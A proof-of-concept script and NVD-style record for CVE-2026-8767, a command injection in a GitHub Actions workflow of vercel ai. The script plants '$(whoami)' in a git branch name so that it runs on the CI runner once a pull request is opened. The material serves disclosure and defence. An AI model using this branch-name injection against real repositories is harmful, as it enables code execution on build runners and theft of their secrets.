CVE-2026-8767

# PoC for CVE-2026-8767: OS Command Injection via Branch Name # This PoC demonstrates how a malicious branch name can trigger command injection. # Step 1: Create a new branch with a payload in the name # The payload uses a semicolon to chain commands. `$(whoami)` executes the command. BRANCH_NAME="feature/clean-styles;$(whoami)" git checkout -b "$BRANCH_NAME" # Step 2: Commit and push to trigger the GitHub Actions workflow echo "test" > test.txt git add test.txt git commit -m "Test malicious branch" git push origin "$BRANCH_NAME" # Step 3: Create a Pull Request # When the PR is created, the vulnerable workflow `.github/workflows/prettier-on-automerge.yml` # will interpolate the branch name into a command, executing `whoami` on the runner.

{"cve": {"id": "CVE-2026-8767", "sourceIdentifier": "[email protected]", "published": "2026-05-17T23:17:02.810", "lastModified": "2026-05-17T23:17:02.810", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in vercel ai up to 3.0.97. Impacted is the function run of the file .github/workflows/prettier-on-automerge.yml of the component PR Branch Name Interpolation. The manipulation leads to os command injection. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitability is considered difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:P/I:P/A:P", "baseScore": 4.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/870bd6966cd84703d91ce54dfea3bdd0", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811402", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364392", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364392/cti", "source": "[email protected]"}]}}